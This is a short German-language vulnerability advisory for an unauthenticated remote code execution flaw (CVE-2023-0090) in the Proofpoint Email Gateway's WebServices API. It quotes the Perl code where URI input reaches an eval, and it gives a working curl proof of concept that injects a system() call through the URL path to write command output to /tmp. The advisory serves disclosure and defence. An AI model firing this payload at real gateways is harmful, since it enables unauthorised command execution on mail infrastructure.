
Proofpoint Email Gateway: Nicht authentifizierte RCE
Sicherheitsforscher: ly1g3, ly1g3[at]tuta.io
GPG-Fingerabdruck: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Übersicht: Remote Code Execution - Nicht authentifizierte RCE
CVE: CVE-2023-0090
Zeitplan:
Exploits für Proofpoint Messaging Security Gateway
Mit Zugriff auf die WebServices-API kann eine nicht authentifizierte RCE mit Administratorrechten erreicht werden.
Webservices.pm bereinigt oder überprüft keine Benutzereingaben. Es ist keine Authentifizierung erforderlich, um die Funktion zu erreichen, aber der API-Zugriff muss in den Einstellungen aktiviert sein, um RCE durchführen zu können. $module stammt direkt aus Benutzerdaten und wird ausgewertet.
my $module = (split(/\//,$uri))[1];
$module = SERVICE_MODULE_PREFIX() . "::\u$module";
...
eval("require $module");
Erstellt eine Datei namens abc in /tmp/. Code wird als Benutzer pps ausgeführt.
curl -k -vv "https://192.168.80.80:10010/ws/abc%2bsystem(%60id%20>%20\\\$\{SHELL:0:1\}tmp\\\$\{SHELL:0:1\}abc%60)"